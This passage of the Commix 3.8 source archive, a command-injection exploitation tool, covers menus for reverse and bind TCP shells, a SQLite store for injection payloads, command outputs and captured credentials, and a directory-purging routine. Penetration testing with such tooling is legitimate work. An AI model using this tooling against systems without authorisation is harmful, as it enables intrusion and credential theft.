[1] https://github.com/sqlmapproject/sqlmap/blob/fdc8e664dff305aca19acf143c7767b9a7626881/lib/parse/cmdline.py
"""
def _(self, *args):
_ = parser.formatter._format_option_strings(*args)
if len(_) > settings.MAX_OPTION_LENGTH:
_ = ("%%.%ds.." % (settings.MAX_OPTION_LENGTH - parser.formatter.indent_increment)) % _
return _
parser.formatter._format_option_strings = parser.formatter.format_option_strings
parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser)
option = parser.get_option("-h")
option.help = option.help.capitalize().replace("Show this help message and exit", "Show help and exit.")
(options, args) = parser.parse_args()
# Checkall the banner
if not options.version:
banner()
# argv input errors
settings.sys_argv_errors()
"""
The "os_shell" available options.
"""
def os_shell_options():
print("""""" + Style.BRIGHT + """Available 'os_shell' options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use <Ctrl-C>) to quit commix.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection.""")
"""
The "reverse_tcp" available options.
"""
def reverse_tcp_options():
print("""""" + Style.BRIGHT + """Available 'reverse_tcp' options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use <Ctrl-C>) to quit commix.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection.""")
"""
The "bind_tcp" available options.
"""
def bind_tcp_options():
print("""""" + Style.BRIGHT + """Available 'bind_tcp' options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use <Ctrl-C>) to quit commix.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection.""")
"""
The available mobile user agents.
"""
def mobile_user_agents():
print("""""" + Style.BRIGHT + """Available smartphones HTTP User-Agent headers:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for BlackBerry Z10.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for Samsung Galaxy S7.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' for HP iPAQ 6365.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' for HTC 10.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' for Huawei P8.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' for Apple iPhone 8.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' for Microsoft Lumia 950.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' for Google Nexus 7.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' for Nokia N97.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' for Google Pixel".
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' for Xiaomi Mi 3.""")
"""
The tab compliter (shell options).
"""
def tab_completer(text, state):
set_options = [option.upper() for option in settings.SET_OPTIONS if option.startswith(text.upper())]
shell_options = [option for option in settings.SHELL_OPTIONS if option.startswith(text.lower())]
available_options = shell_options + set_options
try:
return available_options[state]
except IndexError:
return None
"""
Check if enumeration options are enabled.
"""
def enumeration_options():
if any((options.hostname, options.current_user, options.is_root, options.is_admin, options.sys_info, options.users, options.privileges, options.passwords, options.ps_version)):
return True
"""
Check if file access options are enabled.
"""
def file_access_options():
if any((options.file_write, options.file_upload, options.file_read)):
return True
# eof
commix-3.8/src/utils/purge.py 0000664 0000000 0000000 00000011775 14466364451 0016333 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
"""
Based on "purge.py" script from sqlmap [1].
[1] https://github.com/sqlmapproject/sqlmap/blob/master/lib/utils/purge.py
"""
import os
import sys
import stat
import random
import shutil
import string
import functools
from src.utils import menu
from src.utils import settings
from src.core.compat import xrange
from src.thirdparty.colorama import Fore, Back, Style, init
"""
Safely removes (purges) output directory.
"""
def purge():
directory = settings.OUTPUT_DIR
if not os.path.isdir(directory):
warn_msg = "Skipping purging of directory '" + directory + "', as it does not exist."
print(settings.print_warning_msg(warn_msg))
return
info_msg = "Purging content of directory '" + directory + "'"
if not settings.VERBOSITY_LEVEL != 0:
info_msg += "."
else:
info_msg += ".\n"
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
# Purging content of target directory.
dir_paths = []
file_paths = []
for rootpath, directories, filenames in os.walk(directory):
dir_paths.extend([os.path.abspath(os.path.join(rootpath, i)) for i in directories])
file_paths.extend([os.path.abspath(os.path.join(rootpath, i)) for i in filenames])
# Changing file attributes.
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Changing file attributes."
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
failed = False
for file_path in file_paths:
try:
os.chmod(file_path, stat.S_IREAD | stat.S_IWRITE)
except:
failed = True
pass
if settings.VERBOSITY_LEVEL != 0:
if not failed:
print(settings.SINGLE_WHITESPACE)
else:
print(settings.SINGLE_WHITESPACE)
# Writing random data to files.
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Writing random data to files. "
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
failed = False
for file_path in file_paths:
try:
filesize = os.path.getsize(file_path)
with open(file_path, "w+b") as f:
f.write("".join(chr(random.randint(0, 255)) for _ in xrange(filesize)))
except:
failed = True
pass
if settings.VERBOSITY_LEVEL != 0:
if not failed:
print(settings.SINGLE_WHITESPACE)
else:
print(settings.SINGLE_WHITESPACE)
# Truncating files.
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Truncating files."
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
failed = False
for file_path in file_paths:
try:
with open(file_path, 'w') as f:
pass
except:
failed = True
pass
if settings.VERBOSITY_LEVEL != 0:
if not failed:
print(settings.SINGLE_WHITESPACE)
else:
print(settings.SINGLE_WHITESPACE)
# Renaming filenames to random values.
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Renaming filenames to random values."
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
failed = False
for file_path in file_paths:
try:
os.rename(file_path, os.path.join(os.path.dirname(file_path), "".join(random.sample(string.ascii_letters, random.randint(4, 8)))))
except:
failed = True
pass
if settings.VERBOSITY_LEVEL != 0:
if not failed:
print(settings.SINGLE_WHITESPACE)
else:
print(settings.SINGLE_WHITESPACE)
# Renaming directory names to random values.
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Renaming directory names to random values."
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
failed = False
dir_paths.sort(key=functools.cmp_to_key(lambda x, y: y.count(os.path.sep) - x.count(os.path.sep)))
for dir_path in dir_paths:
try:
os.rename(dir_path, os.path.join(os.path.dirname(dir_path), "".join(random.sample(string.ascii_letters, random.randint(4, 8)))))
except:
failed = True
pass
if settings.VERBOSITY_LEVEL != 0:
if not failed:
print(settings.SINGLE_WHITESPACE)
else:
print(settings.SINGLE_WHITESPACE)
# Deleting the whole directory tree.
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Deleting the whole directory tree."
sys.stdout.write(settings.print_debug_msg(debug_msg))
try:
failed = False
os.chdir(os.path.join(directory, ".."))
shutil.rmtree(directory)
except OSError as ex:
failed = True
if not failed:
print(settings.SINGLE_WHITESPACE)
else:
print(settings.SINGLE_WHITESPACE)
err_msg = "Problem occurred while removing directory '" + directory + "'."
print(settings.print_critical_msg(err_msg))
# eof commix-3.8/src/utils/requirments.py 0000664 0000000 0000000 00000001530 14466364451 0017553 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import os
import subprocess
"""
Check for requirments.
"""
def do_check(requirment):
try:
# Pipe output to the file path of the null device, for silence.
# i.e '/dev/null' for POSIX, 'nul' for Windows
null = open(os.devnull,"w")
subprocess.Popen(requirment, stdout=null, stderr=null)
null.close()
return True
except OSError:
return False
# eof commix-3.8/src/utils/session_handler.py 0000775 0000000 0000000 00000044540 14466364451 0020370 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import os
import sys
import time
import base64
import sqlite3
from src.utils import menu
from src.utils import settings
from src.utils import common
from src.thirdparty.six.moves import input as _input
from src.thirdparty.colorama import Fore, Back, Style, init
"""
Session handler via SQLite3 db.
"""
no_such_table = False
"""
Generate table name for SQLite3 db.
"""
def table_name(url):
host = url.split('//', 1)[1].split('/', 1)[0]
table_name = "session_" + host.replace(".","_").replace(":","_").replace("-","_").replace("[","_").replace("]","_")
return table_name
"""
Ignore session.
"""
def ignore(url):
if os.path.isfile(settings.SESSION_FILE):
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Ignoring the stored session from the session file due to '--ignore-session' switch."
print(settings.print_debug_msg(debug_msg))
else:
if settings.VERBOSITY_LEVEL != 0:
warn_msg = "Skipping ignoring the stored session, as the session file not exist."
print(settings.print_warning_msg(warn_msg))
"""
Flush session.
"""
def flush(url):
if os.path.isfile(settings.SESSION_FILE):
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Flushing the stored session from the session file."
print(settings.print_debug_msg(debug_msg))
try:
conn = sqlite3.connect(settings.SESSION_FILE)
tables = list(conn.execute("SELECT name FROM sqlite_master WHERE type is 'table'"))
conn.executescript(';'.join(["DROP TABLE IF EXISTS %s" %i for i in tables]))
conn.commit()
conn.close()
except sqlite3.OperationalError as err_msg:
print(settings.SINGLE_WHITESPACE)
err_msg = "Unable to flush the session file." + str(err_msg).title()
print(settings.print_critical_msg(err_msg))
else:
if settings.VERBOSITY_LEVEL != 0:
warn_msg = "Skipping flushing the stored session, as the session file not exist."
print(settings.print_warning_msg(warn_msg))
"""
Clear injection point records
except latest for every technique.
"""
def clear(url):
try:
if no_such_table:
conn = sqlite3.connect(settings.SESSION_FILE)
conn.execute("DELETE FROM " + table_name(url) + "_ip WHERE "\
"id NOT IN (SELECT MAX(id) FROM " + \
table_name(url) + "_ip GROUP BY technique);")
conn.commit()
conn.close()
except sqlite3.OperationalError as err_msg:
print(settings.print_critical_msg(err_msg))
except:
settings.LOAD_SESSION = False
return False
"""
Import successful injection points to session file.
"""
def injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable):
try:
conn = sqlite3.connect(settings.SESSION_FILE)
conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ip" + \
"(id INTEGER PRIMARY KEY, url VARCHAR, technique VARCHAR, injection_type VARCHAR, separator VARCHAR," \
"shell VARCHAR, vuln_parameter VARCHAR, prefix VARCHAR, suffix VARCHAR, "\
"TAG VARCHAR, alter_shell VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, "\
"timesec INTEGER, how_long INTEGER, output_length INTEGER, is_vulnerable VARCHAR);")
conn.execute("INSERT INTO " + table_name(url) + "_ip(url, technique, injection_type, separator, "\
"shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_header, http_request_method, "\
"url_time_response, timesec, how_long, output_length, is_vulnerable) "\
"VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", \
(str(url), str(technique), str(injection_type), \
str(separator), str(shell), str(vuln_parameter), str(prefix), str(suffix), \
str(TAG), str(alter_shell), str(payload), str(settings.HTTP_HEADER), str(http_request_method), \
int(url_time_response), int(timesec), int(how_long), \
int(output_length), str(is_vulnerable)))
conn.commit()
conn.close()
if settings.INJECTION_CHECKER == False:
settings.INJECTION_CHECKER = True
except sqlite3.OperationalError as err_msg:
err_msg = str(err_msg)[:1].upper() + str(err_msg)[1:] + "."
err_msg += " You are advised to rerun with switch '--flush-session'."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
except sqlite3.DatabaseError as err_msg:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "If the problem persists use the '--flush-session' option."
print("\n" + settings.print_critical_msg(err_msg))
raise SystemExit()
"""
Export successful applied techniques from session file.
"""
def applied_techniques(url, http_request_method):
try:
conn = sqlite3.connect(settings.SESSION_FILE)
if not menu.options.tech:
applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip "\
"ORDER BY id DESC;")
if settings.TESTABLE_PARAMETER:
applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip WHERE "\
"url = '" + url + "' AND "\
"vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND "\
"http_request_method = '" + http_request_method + "' "\
"ORDER BY id DESC ;")
else:
applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip WHERE "\
"url = '" + url + "' AND "\
"vuln_parameter = '" + settings.INJECT_TAG + "' AND "\
"http_request_method = '" + http_request_method + "' "\
"ORDER BY id DESC ;")
values = []
for session in applied_techniques:
if "tempfile" in session[0][:8]:
settings.TEMPFILE_BASED_STATE = True
session = session[0][4:]
elif "dynamic" in session[0][:7]:
settings.EVAL_BASED_STATE = True
session = session[0][13:]
values += session[0][:1]
applied_techniques = ''.join(list(set(values)))
return applied_techniques
except sqlite3.OperationalError as err_msg:
#print(settings.print_critical_msg(err_msg))
settings.LOAD_SESSION = False
return False
except:
settings.LOAD_SESSION = False
return False
"""
Export successful applied techniques from session file.
"""
def applied_levels(url, http_request_method):
try:
conn = sqlite3.connect(settings.SESSION_FILE)
if settings.TESTABLE_PARAMETER:
applied_level = conn.execute("SELECT is_vulnerable FROM " + table_name(url) + "_ip WHERE "\
"url = '" + url + "' AND "\
"vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND "\
"http_request_method = '" + http_request_method + "' "\
"ORDER BY id DESC;")
else:
applied_level = conn.execute("SELECT is_vulnerable FROM " + table_name(url) + "_ip WHERE "\
"url = '" + url + "' AND "\
"vuln_parameter = '" + settings.INJECT_TAG + "' AND "\
"http_request_method = '" + http_request_method + "' "\
"ORDER BY id DESC;")
for session in applied_level:
return session[0]
except sqlite3.OperationalError as err_msg:
#print(settings.print_critical_msg(err_msg))
settings.LOAD_SESSION = False
return False
except:
settings.LOAD_SESSION = False
return False
"""
Export successful injection points from session file.
"""
def injection_point_exportation(url, http_request_method):
try:
if not menu.options.flush_session:
conn = sqlite3.connect(settings.SESSION_FILE)
result = conn.execute("SELECT * FROM sqlite_master WHERE name = '" + \
table_name(url) + "_ip' AND type = 'table';")
if result:
if menu.options.tech[:1] == "c":
select_injection_type = "R"
elif menu.options.tech[:1] == "e":
settings.EVAL_BASED_STATE = True
select_injection_type = "R"
elif menu.options.tech[:1] == "t":
select_injection_type = "B"
else:
select_injection_type = "S"
if settings.TEMPFILE_BASED_STATE and select_injection_type == "S":
check_injection_technique = "t"
elif settings.EVAL_BASED_STATE and select_injection_type == "R":
check_injection_technique = "d"
else:
check_injection_technique = menu.options.tech[:1]
if settings.TESTABLE_PARAMETER:
cursor = conn.execute("SELECT * FROM " + table_name(url) + "_ip WHERE "\
"url = '" + url + "' AND "\
"injection_type like '" + select_injection_type + "%' AND "\
"technique like '" + check_injection_technique + "%' AND "\
"vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND "\
"http_request_method = '" + http_request_method + "' "\
"ORDER BY id DESC limit 1;")
else:
cursor = conn.execute("SELECT * FROM " + table_name(url) + "_ip WHERE "\
"url = '" + url + "' AND "\
"injection_type like '" + select_injection_type + "%' AND "\
"technique like '" + check_injection_technique + "%' AND "\
"http_header = '" + settings.HTTP_HEADER + "' AND "\
"http_request_method = '" + http_request_method + "' "\
"ORDER BY id DESC limit 1;")
for session in cursor:
url = session[1]
technique = session[2]
injection_type = session[3]
separator = session[4]
shell = session[5]
vuln_parameter = session[6]
prefix = session[7]
suffix = session[8]
TAG = session[9]
alter_shell = session[10]
payload = session[11]
http_request_method = session[13]
url_time_response = session[14]
timesec = session[15]
how_long = session[16]
output_length = session[17]
is_vulnerable = session[18]
return url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable
else:
no_such_table = True
pass
except sqlite3.OperationalError as err_msg:
#print(settings.print_critical_msg(err_msg))
settings.LOAD_SESSION = False
return False
except:
settings.LOAD_SESSION = False
return False
"""
Notification about session.
"""
def notification(url, technique, injection_type):
try:
if settings.LOAD_SESSION == True:
while True:
message = "A previously stored session has been held against that target. "
message += "Do you want to resume to "
message += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") "
message += technique.rsplit(' ', 2)[0]
message += " injection point? [Y/n] > "
settings.LOAD_SESSION = common.read_input(message, default="Y", check_batch=True)
if settings.LOAD_SESSION in settings.CHOICE_YES:
return True
elif settings.LOAD_SESSION in settings.CHOICE_NO:
settings.LOAD_SESSION = False
if technique[:1] != "c":
while True:
message = "Which technique do you want to re-evaluate? [(C)urrent/(a)ll/(n)one] > "
proceed_option = common.read_input(message, default="C", check_batch=True)
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "a":
settings.RETEST = True
break
elif proceed_option.lower() == "c" :
settings.RETEST = False
break
elif proceed_option.lower() == "n":
raise SystemExit()
else:
pass
else:
common.invalid_option(proceed_option)
pass
if settings.SESSION_APPLIED_TECHNIQUES:
menu.options.tech = ''.join(settings.AVAILABLE_TECHNIQUES)
return False
elif settings.LOAD_SESSION in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(settings.LOAD_SESSION)
pass
except sqlite3.OperationalError as err_msg:
print(settings.print_critical_msg(err_msg))
except (KeyboardInterrupt, SystemExit):
raise
"""
Check for specific stored parameter.
"""
def check_stored_parameter(url, http_request_method):
if injection_point_exportation(url, http_request_method):
if injection_point_exportation(url, http_request_method)[16] == str(menu.options.level):
# Check for stored alternative shell
if injection_point_exportation(url, http_request_method)[9] != "":
menu.options.alter_shell = injection_point_exportation(url, http_request_method)[9]
return True
else:
return False
else:
return False
"""
Import successful command execution outputs to session file.
"""
def store_cmd(url, cmd, shell, vuln_parameter):
if any(type(_) is str for _ in (url, cmd, shell, vuln_parameter)):
try:
conn = sqlite3.connect(settings.SESSION_FILE)
conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ir" + \
"(cmd VARCHAR, output VARCHAR, vuln_parameter VARCHAR);")
if settings.TESTABLE_PARAMETER:
conn.execute("INSERT INTO " + table_name(url) + "_ir(cmd, output, vuln_parameter) " \
"VALUES(?,?,?)", \
(str(base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode()), \
str(base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode()), \
str(vuln_parameter)))
else:
conn.execute("INSERT INTO " + table_name(url) + "_ir(cmd, output, vuln_parameter) "\
"VALUES(?,?,?)", \
(str(base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode()), \
str(base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode()), \
str(settings.HTTP_HEADER)))
conn.commit()
conn.close()
except sqlite3.OperationalError as err_msg:
print(settings.print_critical_msg(err_msg))
except (TypeError, AttributeError) as err_msg:
pass
"""
Export successful command execution outputs from session file.
"""
def export_stored_cmd(url, cmd, vuln_parameter):
try:
if not menu.options.flush_session:
conn = sqlite3.connect(settings.SESSION_FILE)
output = None
conn = sqlite3.connect(settings.SESSION_FILE)
if settings.TESTABLE_PARAMETER:
cursor = conn.execute("SELECT output FROM " + table_name(url) + \
"_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() + "' AND "\
"vuln_parameter= '" + vuln_parameter + "';").fetchall()
else:
cursor = conn.execute("SELECT output FROM " + table_name(url) + \
"_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() + "' AND "\
"vuln_parameter= '" + settings.HTTP_HEADER + "';").fetchall()
conn.commit()
conn.close()
for session in cursor:
output = base64.b64decode(session[0])
try:
return output.decode(settings.DEFAULT_CODEC)
except AttributeError:
return output
else:
no_such_table = True
pass
except sqlite3.OperationalError as err_msg:
pass
"""
Import valid credentials to session file.
"""
def import_valid_credentials(url, authentication_type, admin_panel, username, password):
try:
conn = sqlite3.connect(settings.SESSION_FILE)
conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_creds" + \
"(id INTEGER PRIMARY KEY, url VARCHAR, authentication_type VARCHAR, admin_panel VARCHAR, "\
"username VARCHAR, password VARCHAR);")
conn.execute("INSERT INTO " + table_name(url) + "_creds(url, authentication_type, "\
"admin_panel, username, password) VALUES(?,?,?,?,?)", \
(str(url), str(authentication_type), str(admin_panel), \
str(username), str(password)))
conn.commit()
conn.close()
except sqlite3.OperationalError as err_msg:
print(settings.print_critical_msg(err_msg))
except sqlite3.DatabaseError as err_msg:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "If the problem persists use the '--flush-session' option."
print("\n" + settings.print_critical_msg(err_msg))
raise SystemExit()
"""
Export valid credentials from session file.
"""
def export_valid_credentials(url, authentication_type):
try:
if not menu.options.flush_session:
conn = sqlite3.connect(settings.SESSION_FILE)
output = None
conn = sqlite3.connect(settings.SESSION_FILE)
cursor = conn.execute("SELECT username, password FROM " + table_name(url) + \
"_creds WHERE url='" + url + "' AND "\
"authentication_type= '" + authentication_type + "';").fetchall()
cursor = ":".join(cursor[0])
return cursor
else:
no_such_table = True
pass
except sqlite3.OperationalError as err_msg:
pass
# eof commix-3.8/src/utils/settings.py 0000775 0000000 0000000 00000113710 14466364451 0017044 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
import time
import random
import string
import codecs
from datetime import datetime
from src.core.compat import xrange
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.six.moves import reload_module as _reload_module
from src.thirdparty.colorama import Fore, Back, Style, init
class HTTPMETHOD(object):
GET = "GET"
POST = "POST"
HEAD = "HEAD"
PUT = "PUT"
DELETE = "DELETE"
TRACE = "TRACE"
OPTIONS = "OPTIONS"
CONNECT = "CONNECT"
PATCH = "PATCH"
# Status
FAIL_MSG = Fore.RED + " " * 10 + Style.RESET_ALL
FAIL_STATUS = "" + FAIL_MSG + ""
info_msg = Fore.GREEN + " " * 10 + Style.RESET_ALL
SUCCESS_STATUS = "" + info_msg + ""
# Status Signs
LEGAL_DISCLAIMER = "(" + Style.BRIGHT + Fore.RED + "!" + Style.RESET_ALL + ") " + "Legal disclaimer: "
INFO_SIGN = Style.RESET_ALL + "[" + Fore.GREEN + "info" + Style.RESET_ALL + "] "
INFO_BOLD_SIGN = "[" + Fore.GREEN + Style.BRIGHT + "info" + Style.RESET_ALL + "] "
REQUEST_SIGN = Style.RESET_ALL + "[" + Style.BRIGHT + Back.MAGENTA + "traffic" + Style.RESET_ALL + "] "
RESPONSE_SIGN = Style.RESET_ALL + "[" + Style.BRIGHT + Back.MAGENTA + "traffic" + Style.RESET_ALL + "] "
QUESTION_SIGN = Style.BRIGHT
TOTAL_OF_REQUESTS_COLOR = Fore.LIGHTYELLOW_EX
WARNING_SIGN = "[" + Fore.LIGHTYELLOW_EX + "warning" + Style.RESET_ALL + "] "
WARNING_BOLD_SIGN = "[" + Style.BRIGHT + Fore.YELLOW + "warning" + Style.RESET_ALL + "] " + Style.BRIGHT
ERROR_SIGN = "[" + Fore.RED + "error" + Style.RESET_ALL + "] "
ERROR_BOLD_SIGN = "[" + Style.BRIGHT + Fore.RED + "error" + Style.RESET_ALL + "] "
CRITICAL_SIGN = "[" + Back.RED + "critical" + Style.RESET_ALL + "] "
PAYLOAD_SIGN = "[" + Fore.CYAN + "payload" + Style.RESET_ALL + "] "
SUB_CONTENT_SIGN = " " * 11 + Fore.GREY + "|_ " + Style.RESET_ALL
SUB_CONTENT_SIGN_TYPE = Fore.LIGHTRED_EX + " * " + Style.RESET_ALL
TRAFFIC_SIGN = HTTP_CONTENT_SIGN = ""
ABORTION_SIGN = ERROR_SIGN
DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] "
DEBUG_BOLD_SIGN = "[" + Back.BLUE + Style.BRIGHT + Fore.WHITE + "debug" + Style.RESET_ALL + "] " + Style.BRIGHT
CHECK_SIGN = DEBUG_SIGN + "Checking pair of HTTP authentication credentials: "
OS_SHELL_TITLE = Style.BRIGHT + "Pseudo-Terminal Shell (type '?' for available options)" + Style.RESET_ALL
OS_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """
REVERSE_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """
BIND_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """
def print_time():
return "[" + Fore.LIGHTBLUE_EX + datetime.now().strftime("%H:%M:%S") + Style.RESET_ALL + "] "
# Print legal disclaimer message
def print_legal_disclaimer_msg(legal_disclaimer_msg):
result = LEGAL_DISCLAIMER + str(legal_disclaimer_msg) + Style.RESET_ALL
return result
# Print error message
def print_error_msg(err_msg):
result = print_time() + ERROR_SIGN + str(err_msg) + Style.RESET_ALL
return result
# Print error message
def print_bold_error_msg(err_msg):
result = print_time() + ERROR_BOLD_SIGN + Style.BRIGHT + str(err_msg) + Style.RESET_ALL
return result
# Print critical error message
def print_critical_msg(err_msg):
result = print_time() + CRITICAL_SIGN + str(err_msg) + Style.RESET_ALL
return result
# Print abortion message
def print_abort_msg(abort_msg):
result = print_time() + ABORTION_SIGN + str(abort_msg) + Style.RESET_ALL
return result
# Print warning message
def print_warning_msg(warn_msg):
result = print_time() + WARNING_SIGN + str(warn_msg) + Style.RESET_ALL
return result
# Print warning message
def print_bold_warning_msg(warn_msg):
result = print_time() + WARNING_BOLD_SIGN + str(warn_msg) + Style.RESET_ALL
return result
# Print debug message (verbose mode)
def print_debug_msg(debug_msg):
result = print_time() + DEBUG_SIGN + debug_msg + Style.RESET_ALL
return result
